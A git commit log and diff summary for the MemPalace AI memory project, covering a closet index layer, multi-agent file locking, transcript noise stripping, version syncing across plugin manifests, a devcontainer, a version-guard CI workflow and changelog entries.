Igor Lins e Silva 95a8d7176a Merge pull request #826 from MemPalace/pr/multi-agent-lock
chore: forward closet layer (#788) into develop
2026-04-13 17:21:38 -03:00
Igor Lins e Silva 49a6a69da4 Merge pull request #788 from MemPalace/pr/closet-layer
feat: closet layer — searchable index pointing to drawers
2026-04-13 17:18:56 -03:00
shafdev 5db651a543 fix: use microsecond timestamp and full content hash in diary entry ID (#819) 2026-04-13 13:06:04 -07:00
Igor Lins e Silva 21d4a23430 merge: develop + harden closet layer for production
Merges develop (#820 version sync, #785 strip_noise + NORMALIZE_VERSION,
#784 file locking) and addresses six concerns surfaced during PR review
of the closet feature:

1. Closet append-on-rebuild bug — upsert_closet_lines used to APPEND to
   existing closets (mismatched the doc's "fully replaced" promise). With
   NORMALIZE_VERSION rebuilds on develop, this would have stacked stale
   v1 topics on top of fresh v2 content forever. Fix:
   - Drop the read-and-append branch from upsert_closet_lines (now a pure
     numbered-id overwrite).
   - Add purge_file_closets(closets_col, source_file) helper that wipes
     every closet for a source file by where-filter.
   - process_file calls purge_file_closets before upsert on every mine,
     mirroring the existing drawer purge.

2. Searcher returned whole-file blobs from the closet path while the
   direct path returned chunk-level drawers. Refactored:
   - _extract_drawer_ids_from_closet parses the `→drawer_a,drawer_b`
     pointers out of closet documents.
   - _closet_first_hits hydrates exactly those drawer IDs (chunk-level),
     not collection.get(where=source_file) (which returned everything).
   - Same hit shape as direct-search path; both now carry matched_via.

3. max_distance was bypassed on the closet path. Now applied per-hit;
   when every closet candidate gets filtered, _closet_first_hits returns
   None and the caller falls through to direct drawer search.

4. Entity extraction caught sentence-starters like "When", "The",
   "After" as proper nouns. Added _ENTITY_STOPLIST (~40 common false
   positives + day/month names + role words). Real names like Igor /
   Milla still survive — covered by tests.

5. CLOSETS.md drifted from the code (claimed "replaced via upsert" but
   code appended; claimed BM25 hybrid that doesn't exist; claimed a
   10K char hydration cap that wasn't enforced). Rewritten to describe
   what actually ships, with explicit notes on the BM25 / convo-closet
   follow-ups.

6. Zero tests for ~250 lines. Added tests/test_closets.py with 17 cases:
   - build_closet_lines: pointer shape, header extraction, stoplist
     filtering (with regression case for "When/After/The"), real-name
     survival, fallback-line guarantee, drawer-ref slicing.
   - upsert_closet_lines: pure overwrite semantics (regression for the
     append bug), char-limit packing without splitting lines.
   - purge_file_closets: scoped to source_file, doesn't touch others.
   - End-to-end miner rebuild: re-mining a file with fewer topics fully
     purges leftover numbered closets from the larger first run.
   - _extract_drawer_ids_from_closet: parsing + dedup edge cases.
   - search_memories closet-first: fallback when empty, chunk-level
     hits with matched_via, no whole-file glue, max_distance enforced.

Merge resolutions: miner.py imports combined NORMALIZE_VERSION/mine_lock
from develop with the closet helpers from this branch. process_file
auto-merged cleanly (closet block sits inside develop's lock body).

724/724 tests pass. ruff + format clean under CI-pinned 0.4.x.
2026-04-13 17:00:55 -03:00
Igor Lins e Silva c9fbf7c50a Merge pull request #786 from MemPalace/pr/hooks-dont-write-in-chat
fix: stop hooks from making agents write in chat — save tokens
2026-04-13 16:43:37 -03:00
MSLandClaude Opus 4.6 a3b7988d87 fix: stop hooks from making agents write in chat — save tokens
The save hook and precompact hook were telling the agent to write
diary entries, add drawers, and add KG triples IN THE CHAT WINDOW.
Every line written stays in conversation history and retransmits on
every subsequent turn — ~$1/session in wasted tokens.

Fix: hooks now say "saved in background, no action needed" and use
decision: allow instead of block. The agent continues working without
interruption. All filing happens via the background pipeline.

Also updated hooks README with:
- Known limitation: hooks require session restart after install
- Updated cost section: zero tokens, background-only

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 16:41:59 -03:00
Igor Lins e Silva 744ede76c0 Merge pull request #785 from MemPalace/pr/strip-noise-from-transcripts
fix: strip system tags, hook output, and Claude UI chrome from drawers
2026-04-13 16:33:27 -03:00
Igor Lins e Silva 28e263748b merge: develop (#784 file-locking, #820 version sync)
Non-trivial merge in convo_miner.py: this branch's _file_convo_chunks
(purge stale + upsert with normalize_version) and develop's
_file_chunks_locked (mine_lock + double-checked file_already_mined)
both touched the same critical section. Combined into a single
_file_chunks_locked helper that does lock → double-check → purge →
upsert, preserving both the multi-agent safety guarantee from #784
and the schema-rebuild contract from this PR.

Also folds develop's mine_lock import into both miner.py and
convo_miner.py alongside NORMALIZE_VERSION.

707/707 tests pass, ruff + format clean under CI-pinned 0.4.x.
2026-04-13 16:29:50 -03:00
Igor Lins e Silva 7e5eeda9a5 feat(normalize): auto-rebuild stale drawers via NORMALIZE_VERSION schema gate
Without this, the strip_noise improvement only helps new mines. Every
user who had already mined Claude Code JSONL sessions would keep their
noise-polluted drawers forever, because convo_miner's file_already_mined
skip short-circuits before re-processing.

Adds a versioned schema gate so upgrades propagate silently:

- palace.NORMALIZE_VERSION=2 — bumped when the normalization pipeline
  changes shape (this PR's strip_noise is the v1→v2 bump).
- file_already_mined now returns False if the stored normalize_version
  is missing or less than current, triggering a rebuild on next mine.
- Both miners stamp drawers with the current normalize_version.
- convo_miner now purges stale drawers before inserting fresh chunks
  (mirrors miner.py's existing delete+insert), extracted into
  _file_convo_chunks helper to keep mine_convos under ruff's C901 limit.

User experience: upgrade mempalace, run `mempalace mine` as usual, old
noisy drawers get silently replaced with clean ones. No erase needed,
no "you need to rebuild" changelog footgun.

Tests:
- test_file_already_mined_returns_false_for_stale_normalize_version —
  pins the version gate contract for missing/v1/current.
- test_add_drawer_stamps_normalize_version — fresh project-miner drawers
  carry the field.
- test_mine_convos_rebuilds_stale_drawers_after_schema_bump — end-to-end
  proof that a pre-v2 palace gets silently cleaned on next mine, with
  orphan drawers purged and NOT skipped.

Existing test_file_already_mined_check_mtime updated to include the
new field; all other tests unaffected.
2026-04-13 16:20:55 -03:00
Igor Lins e Silva ca2598a9f6 fix(normalize): make strip_noise verbatim-safe and scope it to Claude Code JSONL
The initial strip_noise() regressed on three fronts when audited against
adversarial user content — each verified with executable repros against
the cherry-picked code:

  1. `<tag>.*?</tag>` with re.DOTALL span-ate across messages: one
     stray unclosed <system-reminder> anywhere in a session merged with
     the next closing tag, silently deleting everything between them
     (including full assistant replies).
  2. `.*\(ctrl\+o to expand\).*\n?` nuked entire lines of user prose
     whenever a user happened to document the TUI shortcut.
  3. `Ran \d+ (?:stop|pre|post)\s*hook.*` with IGNORECASE ate the
     second sentence from "our CI has a stop hook ... Ran 2 stop hooks
     last week" — legitimate user commentary.

These are unambiguous violations of the project's "Verbatim always"
design principle.

Fixes:

- All tag patterns are now line-anchored (`(?m)^(?:> )?<tag>`) and their
  body forbids crossing a blank line (`(?:(?!\n\s*\n)[\s\S])*?`), so a
  dangling open tag cannot eat neighboring messages.
- `_NOISE_LINE_PREFIXES` are line-anchored and case-sensitive — user
  prose mentioning "CURRENT TIME:" mid-sentence is preserved.
- Hook-run chrome requires `(?m)^`, explicit hook names (Stop,
  PreCompact, PreToolUse, etc.), and no IGNORECASE.
- "… +N lines" is line-anchored.
- "(ctrl+o to expand)" only matches Claude Code's actual collapsed-
  output chrome shape `[N tokens] (ctrl+o to expand)`; a bare
  parenthetical in user prose stays intact.

Scope:

- `strip_noise()` is no longer called on every normalization path.
  Only `_try_claude_code_jsonl` invokes it, per-extracted-message — so
  Claude.ai exports, ChatGPT exports, Slack JSON, Codex JSONL, and
  plain text with `>` markers pass through fully verbatim. Per-message
  application also makes span-eating structurally impossible.

Tests:

- 15 new tests in test_normalize.py pin the boundary: 6 guard user
  content that must survive (each of the adversarial repros), 9 assert
  real system chrome is still stripped. All pass; full suite 702 pass
  (2 failures are the unrelated pre-existing version.py bug, cleared
  by #820).

Known limitation (not fixed here): convo_miner.py does not delete
drawers on re-mine, so transcripts mined before this PR keep noise-
filled drawers until the user manually erases + re-mines. Proper fix
needs a schema-version field on drawer metadata + re-mine trigger —
out of scope for this PR.
2026-04-13 16:11:03 -03:00
Igor Lins e Silva ab46c8ebf1 Merge pull request #784 from MemPalace/pr/multi-agent-lock
fix: file-level locking to prevent multi-agent duplicate drawers
2026-04-13 15:58:35 -03:00
Igor Lins e Silva 386da51ae5 style: ruff format mempalace/palace.py
Add blank lines after inline imports in mine_lock. Pure formatting.
2026-04-13 15:54:52 -03:00
Igor Lins e Silva 09f218cbb2 refactor: extract locked filing block to keep mine_convos under C901
Adding the per-file lock + double-checked file_already_mined() in the
previous commit pushed mine_convos cyclomatic complexity from 25 to 26,
just over ruff's max-complexity threshold. Hoist the locked critical
section into _file_chunks_locked() so the outer loop stays within
budget. No behavior change.
2026-04-13 15:48:54 -03:00
Igor Lins e Silva 297517db0e Merge pull request #820 from MemPalace/fix/version-sync-3.2.0
fix: sync version.py to 3.2.0
2026-04-13 15:47:18 -03:00
Igor Lins e Silva 69d6e2f7f3 fix: sync version.py to 3.2.0
Commit 6614b9b bumped pyproject.toml to 3.2.0 but missed
mempalace/version.py, breaking test_version_consistency on
every PR's CI. This syncs them.
2026-04-13 15:46:27 -03:00
Yorji 53d779311e Create SECURITY.md
This PR introduces a standard SECURITY.md policy file to the repository. 

While reviewing the codebase, I noticed there wasn't a defined channel for the private, responsible disclosure of security vulnerabilities. Adding this policy helps protect the project by guiding researchers to report bugs privately rather than in public issues. 

I highly recommend merging this and enabling GitHub's "Private Vulnerability Reporting" feature in your repository settings. I currently have some security findings I would like to share with the maintainers securely once a private channel or contact method is established.
2026-04-13 12:49:33 -04:00
eblander 1e86892e62 Fix: set cosine distance metadata on all collection creation sites
ChromaDB defaults HNSW index to L2 (Euclidean) distance, but
MemPalace scoring uses 1-distance which requires cosine (range 0-2).
Add metadata={"hnsw:space": "cosine"} to the 4 production and 3 test
call sites that were missing it.

Closes #218
2026-04-13 11:00:52 -04:00
Igor Lins e Silva 8e446f904c fix(search): hybrid closet+drawer retrieval — closets boost, never gate (#795) 2026-04-13 04:43:54 -07:00
Igor Lins e SilvaandMSL 4d581cbb73 feat: optional LLM-based closet regeneration — bring-your-own endpoint
Adds mempalace/closet_llm.py as an OPTIONAL path for richer closet
generation. Regex closets remain the default and cover the local-first
promise; users who want LLM-quality topics can bring their own endpoint.

Configuration (env or CLI flag):
  LLM_ENDPOINT — OpenAI-compatible base URL (required)
  LLM_KEY      — bearer token (optional; local inference skips this)
  LLM_MODEL    — model name (required)

Works with Ollama, vLLM, llama.cpp servers, OpenAI, OpenRouter, and any
other provider that speaks OpenAI-compatible /chat/completions. Zero new
dependencies — uses stdlib urllib.

Replaces the original Anthropic-SDK-hardcoded version of this module
from Milla's branch (commit 935f657). Same prompt, same parsing, same
regenerate_closets flow; only the transport was generalised so the
feature doesn't lock users into a specific vendor or require API keys
for core memory operations (CLAUDE.md, "Local-first, zero API").

Includes 13 unit tests covering config resolution, request shape,
auth-header omission when no key is set, code-fence stripping, and
missing-config error path. All mocked — zero network calls in tests.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-13 07:51:46 -03:00
MSLandClaude Opus 4.6 4a6147f903 feat: offline fact checker against entity registry + knowledge graph
fact_checker.py verifies text for contradictions against locally stored
entities and KG facts. Catches similar-name confusion (Bob vs Bobby),
relationship mismatches (KG says husband, text says brother), and
stale facts (KG valid_from/valid_to).

No hardcoded facts. No network calls. Reads:
- ~/.mempalace/known_entities.json
- KnowledgeGraph SQLite

Usage:
  from mempalace.fact_checker import check_text
  issues = check_text("Bob is Alice's brother", palace_path)

  # CLI
  python -m mempalace.fact_checker "text" --palace ~/.mempalace/palace

Extracted from Milla's commit 935f657 which bundled this with
closet_llm (deferred) and drawer-grep (PR #791). Ported only
fact_checker.py — verified no network / API imports.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 07:47:40 -03:00
MSLandClaude Opus 4.6 971b92da5d feat(search): drawer-grep returns best-matching chunk + neighbors
When a closet hit leads to a source file with many drawers, grep each
chunk for query terms and return the BEST-MATCHING chunk + 1 neighbor
on each side, instead of dumping the whole file truncated at
MAX_HYDRATION_CHARS. Result now includes drawer_index and
total_drawers so callers can request adjacent drawers explicitly.

Extracted from Milla's commit 935f657 which bundled drawer-grep with
closet_llm (deferred pending LLM_ENDPOINT refactor) and fact_checker
(separate PR). Ported only the searcher.py change.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 07:46:07 -03:00
Igor Lins e SilvaandMSL e2a9bb05d3 test: add TestTunnels for cross-wing tunnel operations
Appended from Milla's omnibus test_closets.py — covers create,
list, delete, dedup, and follow_tunnels behavior. 21/21 pass.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-13 07:44:32 -03:00
MSLandClaude Opus 4.6 1b4ce0b1f8 feat: explicit cross-wing tunnels for multi-project agents
Adds active tunnel creation alongside passive tunnel discovery.

Passive tunnels (existing): rooms with the same name across wings.
Explicit tunnels (new): agent-created links between specific
locations. "This API design in project_api relates to the database
schema in project_database."

New functions in palace_graph.py:
- create_tunnel() — link two wing/room pairs with a label
- list_tunnels() — list all explicit tunnels, filter by wing
- delete_tunnel() — remove a tunnel by ID
- follow_tunnels() — from a room, find all connected rooms in
  other wings with drawer content previews

New MCP tools:
- mempalace_create_tunnel
- mempalace_list_tunnels
- mempalace_delete_tunnel
- mempalace_follow_tunnels

Tunnels stored in ~/.mempalace/tunnels.json (persists across
palace rebuilds). Deduplicated by endpoint pair.

689/689 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 07:43:48 -03:00
Igor Lins e SilvaandMSL f72ffbbcb2 test: add tests for mine_lock, closets, entity metadata, BM25, diary
Trimmed version of Milla's omnibus test_closets.py to only cover
features present in this PR stack (#784 lock, #788 closets, this
PR's entity/BM25/diary). Strip-noise tests will land with #785;
tunnel tests will land with the tunnels PR.

16/16 pass.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-13 07:42:25 -03:00
MSLandClaude Opus 4.6 f935e85ead feat: entity metadata + diary ingest + BM25 hybrid search
Three features that close the gap between the architecture docs
and the actual codebase:

1. Entity metadata on drawers and closets
   - _extract_entities_for_metadata() pulls names from known_entities.json
     + proper nouns appearing 2+ times
   - Stamped as "entities" field in ChromaDB metadata
   - Enables filterable search by person/project name

2. Day-based diary ingest (diary_ingest.py)
   - ONE drawer per day, upserted as the day grows
   - Closets pack topics atomically, never split mid-topic
   - Tracks entry count in state file, only processes new entries
   - Usage: python -m mempalace.diary_ingest --dir ~/summaries

3. BM25 hybrid search in searcher.py
   - _bm25_score() keyword matching complements vector similarity
   - _hybrid_rank() combines both signals (60% vector, 40% BM25)
   - Catches exact name/term matches that embeddings miss
   - Applied to both closet-first and direct drawer search paths

689/689 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 07:40:32 -03:00
Igor Lins e SilvaandMSL ee60cad652 docs: add CLOSETS.md — closet layer overview
Cherry-picked the docs portion of 67e4ac6 to accompany the closet
feature. Test coverage for closets is omnibus with tests for entity
metadata and BM25 (see PR targeting those features) and will land
together in a follow-up.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-13 07:38:43 -03:00
MSLandClaude Opus 4.6 124f5bf7ba fix: enforce atomic topics in closets, extract richer pointers
- upsert_closet replaced by upsert_closet_lines: checks each topic
  line individually against CLOSET_CHAR_LIMIT. If adding one line
  WHOLE would exceed the limit, starts a new closet. Never splits
  mid-topic.
- build_closet_lines returns a list of atomic lines (not joined text)
- Richer extraction: section headers, more action verbs, up to 3
  quotes, up to 12 topics per file
- Each line is complete: topic|entities|→drawer_refs

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 07:37:17 -03:00
MSLandClaude Opus 4.6 d3d7184f4e feat: add closet layer — searchable index pointing to drawers
The closet architecture was always part of MemPalace's design but
never shipped in the public codebase. This adds it.

Palace now has TWO collections:
- mempalace_drawers — full verbatim content (unchanged)
- mempalace_closets — compact AAAK-style index entries

How it works:
- When mining, each file gets a closet alongside its drawers
- Closet contains extracted topics, entities, quotes as pointers
- Closets pack up to 1500 chars, topics never split mid-entry
- Search hits closets first (fast, small), then hydrates the
  full drawer content for matching files
- Falls back to direct drawer search if no closets exist yet

Files changed:
- palace.py: get_closets_collection(), build_closet_text(),
  upsert_closet(), CLOSET_CHAR_LIMIT
- miner.py: process_file() now creates closets after drawers
- searcher.py: search_memories() tries closet-first search,
  hydrates drawers, falls back to direct search

Backwards compatible — existing palaces without closets continue
to work via the fallback path. Closets are created on next mine.

689/689 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 07:37:17 -03:00
MSLandClaude Opus 4.6 9b99c136ee fix: strip system tags, hook output, and Claude UI chrome from drawers
normalize.py now strips before filing:
- <system-reminder>, <command-message>, <command-name> tags
- <task-notification>, <user-prompt-submit-hook>, <hook_output> tags
- Hook status messages (CURRENT TIME, Checking verified facts, etc.)
- Claude Code UI chrome (ctrl+o to expand, progress bars, etc.)
- Collapsed runs of blank lines

This noise was going straight into drawers, wasting storage space
and polluting search results. strip_noise() runs on all normalized
output regardless of input format (JSONL, JSON, plain text).

689/689 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 07:30:12 -03:00
MSLandClaude Opus 4.6 30a431924b fix: add file-level locking to prevent multi-agent duplicate drawers
Root cause: when multiple agents mine simultaneously, both pass
file_already_mined() check, both delete+insert the same file's
drawers, creating duplicates or losing data.

Fix: mine_lock() in palace.py — cross-platform file lock (fcntl on
Unix, msvcrt on Windows). Both miner.py and convo_miner.py now lock
per-file during the delete+insert cycle and re-check after acquiring
the lock.

Tested:
- Lock acquires and releases correctly
- Second agent blocks until first releases (0.25s wait)
- 33/33 existing tests pass
- Cross-platform: fcntl (macOS/Linux), msvcrt (Windows)

Based on v3.2.0 tag.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 07:20:58 -03:00
tejasashinde 921db176c3 feat: add Hindi language support to i18n module 2026-04-13 14:09:25 +05:30
151 changed files with 351196 additions and 2320 deletions
+1 -1
View File
@@ -11,7 +11,7 @@ A Claude Code plugin that gives your AI a persistent memory system. Mine project
### Claude Code Marketplace
```bash
claude plugin marketplace add milla-jovovich/mempalace
claude plugin marketplace add MemPalace/mempalace
claude plugin install --scope user mempalace
```
+2 -2
View File
@@ -2,14 +2,14 @@
"name": "mempalace",
"owner": {
"name": "milla-jovovich",
"url": "https://github.com/milla-jovovich"
"url": "https://github.com/MemPalace"
},
"plugins": [
{
"name": "mempalace",
"source": "./.claude-plugin",
"description": "AI memory system — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, guided setup.",
"version": "3.0.14",
"version": "3.3.2",
"author": {
"name": "milla-jovovich"
}
+2 -2
View File
@@ -1,6 +1,6 @@
{
"name": "mempalace",
"version": "3.0.14",
"version": "3.3.2",
"description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.",
"author": {
"name": "milla-jovovich"
@@ -25,5 +25,5 @@
"palace",
"search"
],
"repository": "https://github.com/milla-jovovich/mempalace"
"repository": "https://github.com/MemPalace/mempalace"
}
+3 -3
View File
@@ -35,7 +35,7 @@ codex /init
1. Clone the MemPalace repository:
```bash
git clone https://github.com/milla-jovovich/mempalace.git
git clone https://github.com/MemPalace/mempalace.git
cd mempalace
```
@@ -71,5 +71,5 @@ Set the `MEMPAL_DIR` environment variable to a directory path to automatically r
## Support
- Repository: https://github.com/milla-jovovich/mempalace
- Issues: https://github.com/milla-jovovich/mempalace/issues
- Repository: https://github.com/MemPalace/mempalace
- Issues: https://github.com/MemPalace/mempalace/issues
+6 -6
View File
@@ -1,12 +1,12 @@
{
"name": "mempalace",
"version": "3.0.14",
"version": "3.3.2",
"description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.",
"author": {
"name": "milla-jovovich"
},
"homepage": "https://github.com/milla-jovovich/mempalace",
"repository": "https://github.com/milla-jovovich/mempalace",
"homepage": "https://github.com/MemPalace/mempalace",
"repository": "https://github.com/MemPalace/mempalace",
"license": "MIT",
"keywords": [
"memory",
@@ -39,9 +39,9 @@
"Read",
"Write"
],
"websiteURL": "https://github.com/milla-jovovich/mempalace",
"privacyPolicyURL": "https://github.com/milla-jovovich/mempalace",
"termsOfServiceURL": "https://github.com/milla-jovovich/mempalace",
"websiteURL": "https://github.com/MemPalace/mempalace",
"privacyPolicyURL": "https://github.com/MemPalace/mempalace",
"termsOfServiceURL": "https://github.com/MemPalace/mempalace",
"defaultPrompt": [
"Search my memories for recent decisions",
"Mine this project into my memory palace",
+25
View File
@@ -0,0 +1,25 @@
{
"name": "MemPalace",
"image": "mcr.microsoft.com/devcontainers/python:3.11",
"features": {
"ghcr.io/devcontainers/features/github-cli:1": {}
},
"postCreateCommand": "bash .devcontainer/post-create.sh",
"customizations": {
"vscode": {
"extensions": [
"ms-python.python",
"ms-python.debugpy",
"charliermarsh.ruff"
],
"settings": {
"python.defaultInterpreterPath": "/usr/local/bin/python",
"python.testing.pytestEnabled": true,
"python.testing.pytestArgs": ["tests/", "-v", "--ignore=tests/benchmarks"],
"ruff.importStrategy": "fromEnvironment",
"editor.formatOnSave": true,
"editor.defaultFormatter": "charliermarsh.ruff"
}
}
}
}
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env bash
set -euo pipefail
echo "=== MemPalace Dev Container Setup ==="
pip install -e ".[dev]"
# Match CI's ruff pin (pyproject only sets a floor; without this contributors
# get a newer ruff locally than CI runs, causing phantom lint failures).
pip install "ruff>=0.4.0,<0.5"
pip install pre-commit
pre-commit install
echo ""
echo "=== Verification ==="
echo "python: $(python --version)"
echo "pytest: $(python -m pytest --version 2>&1 | head -1)"
echo "ruff: $(python -m ruff --version 2>&1 | head -1)"
echo ""
echo "Ready. Run: pytest tests/ -v --ignore=tests/benchmarks"
+2 -2
View File
@@ -2,7 +2,7 @@ name: Deploy Docs
on:
push:
branches: [main, develop]
branches: [develop]
paths:
- ".github/workflows/deploy-docs.yml"
- "website/**"
@@ -51,7 +51,7 @@ jobs:
path: website/.vitepress/dist
deploy:
if: github.ref_name == 'main' || github.ref_name == 'develop'
if: github.ref_name == 'develop'
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
+101
View File
@@ -0,0 +1,101 @@
name: Version Guard
on:
push:
tags: ['v*']
pull_request:
paths:
- 'pyproject.toml'
- 'mempalace/version.py'
- '.claude-plugin/marketplace.json'
- '.claude-plugin/plugin.json'
- '.codex-plugin/plugin.json'
- '.github/workflows/version-guard.yml'
jobs:
check-versions:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Extract versions from all sources
id: versions
run: |
set -euo pipefail
py_version=$(grep -E '^__version__' mempalace/version.py | cut -d'"' -f2)
pyproject_version=$(grep -E '^version' pyproject.toml | head -1 | cut -d'"' -f2)
marketplace_version=$(jq -r '.plugins[0].version' .claude-plugin/marketplace.json)
plugin_version=$(jq -r '.version' .claude-plugin/plugin.json)
codex_version=$(jq -r '.version' .codex-plugin/plugin.json)
echo "py_version=$py_version" >> "$GITHUB_OUTPUT"
echo "pyproject_version=$pyproject_version" >> "$GITHUB_OUTPUT"
echo "marketplace_version=$marketplace_version" >> "$GITHUB_OUTPUT"
echo "plugin_version=$plugin_version" >> "$GITHUB_OUTPUT"
echo "codex_version=$codex_version" >> "$GITHUB_OUTPUT"
{
echo "## Detected versions"
echo ""
echo "| Source | Version |"
echo "| --- | --- |"
echo "| mempalace/version.py | \`$py_version\` |"
echo "| pyproject.toml | \`$pyproject_version\` |"
echo "| .claude-plugin/marketplace.json | \`$marketplace_version\` |"
echo "| .claude-plugin/plugin.json | \`$plugin_version\` |"
echo "| .codex-plugin/plugin.json | \`$codex_version\` |"
} >> "$GITHUB_STEP_SUMMARY"
- name: Verify all sources agree
env:
PY: ${{ steps.versions.outputs.py_version }}
PYPROJECT: ${{ steps.versions.outputs.pyproject_version }}
MARKETPLACE: ${{ steps.versions.outputs.marketplace_version }}
PLUGIN: ${{ steps.versions.outputs.plugin_version }}
CODEX: ${{ steps.versions.outputs.codex_version }}
run: |
set -euo pipefail
fail=0
check() {
local name="$1" value="$2" expected="$3"
if [[ "$value" != "$expected" ]]; then
echo "::error file=$name::version mismatch — expected $expected, got $value"
fail=1
fi
}
# All five must agree with each other (use version.py as the reference, per CLAUDE.md)
check "pyproject.toml" "$PYPROJECT" "$PY"
check ".claude-plugin/marketplace.json" "$MARKETPLACE" "$PY"
check ".claude-plugin/plugin.json" "$PLUGIN" "$PY"
check ".codex-plugin/plugin.json" "$CODEX" "$PY"
exit $fail
- name: Verify tag matches manifest (tag pushes only)
if: startsWith(github.ref, 'refs/tags/v')
env:
PY: ${{ steps.versions.outputs.py_version }}
run: |
set -euo pipefail
tag_version="${GITHUB_REF_NAME#v}"
# Semver pre-release tags (v3.4.0-rc1, v1.0.0-beta.2, ...) are treated
# as internal/staging and are not validated against the manifest. They
# do not flow to end users via `/plugin update`, which reads the
# manifest on the default branch.
if [[ "$tag_version" == *-* ]]; then
echo "Pre-release tag $GITHUB_REF_NAME — skipping strict manifest match."
{
echo ""
echo "> Pre-release tag detected: \`$GITHUB_REF_NAME\`."
echo "> Manifest ($PY) is not required to match. Pre-releases are not published via \`/plugin update\`."
} >> "$GITHUB_STEP_SUMMARY"
exit 0
fi
if [[ "$tag_version" != "$PY" ]]; then
echo "::error::tag $GITHUB_REF_NAME does not match manifest version $PY"
echo "Bump mempalace/version.py, pyproject.toml, and all plugin manifests before tagging a stable release."
echo "For an internal/staging tag, use a semver pre-release suffix (e.g. v${PY}-rc1)."
exit 1
fi
echo "Tag $GITHUB_REF_NAME matches manifest version $PY"
+4 -1
View File
@@ -1,6 +1,9 @@
repos:
- repo: https://github.com/astral-sh/ruff-pre-commit
rev: v0.9.0
# Keep in lock-step with the ruff version pinned in .github/workflows/ci.yml
# (>=0.4.0,<0.5). Using a newer rev here produces a different formatter
# output than CI and breaks `ruff format --check` in the lint job.
rev: v0.4.10
hooks:
- id: ruff
args: [--fix]
+160 -5
View File
@@ -1,10 +1,160 @@
# Changelog
All notable changes to [MemPalace](https://github.com/milla-jovovich/mempalace) are documented in this file.
All notable changes to [MemPalace](https://github.com/MemPalace/mempalace) are documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/).
---
## [3.2.0] — 2026-04-13
## [3.3.2] — 2026-04-19
### Bug Fixes
- Fix silent drop of `.jsonl` files in project miner; raise `MAX_FILE_SIZE` cap from 10 MB to 500 MB so large transcripts no longer fall through unnoticed. Adds a tandem **sweeper** — a message-level, timestamp-coordinated, idempotent safety net that catches anything the primary miner missed. (#998)
- `mempalace sweep <target>` CLI to run the sweeper on demand against a transcript file or a directory. (#998)
- Guard `Layer3.search_raw` against `None` doc/meta rows returned by ChromaDB — prevents `AttributeError` crashes on mixed-schema palaces. (#1011, #1013)
- Guard searcher API path, closet loop, and miner status histogram against `None` metadata; matching guards added to `tool_status` / `list_wings` / `list_rooms` / `get_taxonomy` in the MCP server. (#999)
- Upgrade `chromadb` floor to `>=1.5.4` for Python 3.13 / 3.14 compatibility and pin upper bound to `<2` so future breaking majors don't silently install. (#1010)
- Fix Unicode checkmark rendering on Windows terminals that can't encode the `✓` glyph — avoids `UnicodeEncodeError` crashes on first-run output. (#681)
- **`quarantine_stale_hnsw`** — on open, detect HNSW segment directories whose `data_level0.bin` is significantly older than `chroma.sqlite3` and rename them out of the way. Recovers cleanly from HNSW/sqlite drift that otherwise causes SIGSEGV on `count()` / `query(...)` (the chroma-core/chroma#2594 failure mode). Rebuilds the index lazily on next use. (#1000)
- **PID file guard** — `mine` writes a per-source-directory PID file and refuses to start if an existing mine is still running, preventing process stacking that bloats HNSW and wedges concurrent writes. Includes cross-platform PID liveness check (`os.kill(pid, 0)` terminates on Windows, so the guard falls back to a platform-aware probe). (#1023)
### Improvements
- **RFC 001 §10 — typed backend contracts.** `BaseBackend` now returns typed `QueryResult` / `GetResult` dataclasses and `PalaceRef` for palace identity; registry-based backend discovery. Internal refactor; no user-facing API change. (#995)
- **RFC 002 §9 — source adapter scaffolding.** Introduces `BaseSourceAdapter`, adapter registry, and `PalaceContext` — the plumbing that future pluggable ingest sources will target. Internal refactor; no user-facing API change yet. (#1014)
### Documentation
- **RFC 002** — full specification for the source adapter plugin system (future pluggable ingest). (#990)
- First-run help text and `README` now reference the real `~/.claude/projects/<project>/` path shape instead of the placeholder `/path/to/transcripts`. (#996, #1012)
### Internal
- Harden sweeper for production: verbatim tool blocks, full `session_id`, logged failures.
- Address Copilot review on #995: cursor tie-break, honest metrics, accurate comments.
- Test hygiene: avoid ONNX network download in update-length validation tests; dedup update-length-validation tests; fix Windows file-lock in cache-invalidation test.
---
## [3.3.1] — 2026-04-16
### New Features
**Multi-language entity detection** — lexical patterns (person verbs, pronouns, dialogue markers, project verbs, stopwords, candidate character classes) now live in the optional `entity` section of each locale JSON under `mempalace/i18n/<lang>.json`. Every public function in `entity_detector` accepts a `languages=` tuple and unions patterns across enabled locales. Default stays `("en",)` so existing English-only callers are unchanged. (#911)
- **Five new fully-supported locales** with CLI strings, AAAK compression instructions, and entity-detection patterns:
- Brazilian Portuguese `pt-br` (#156)
- Russian `ru` (#760)
- Italian `it` (#907)
- Hindi `hi` (#773)
- Indonesian `id` (#778)
- **`MempalaceConfig.entity_languages`** — persistent palace-level language selection; `MEMPALACE_ENTITY_LANGUAGES` env override; `mempalace init --lang en,pt-br` flag that saves to `~/.mempalace/config.json` (#911)
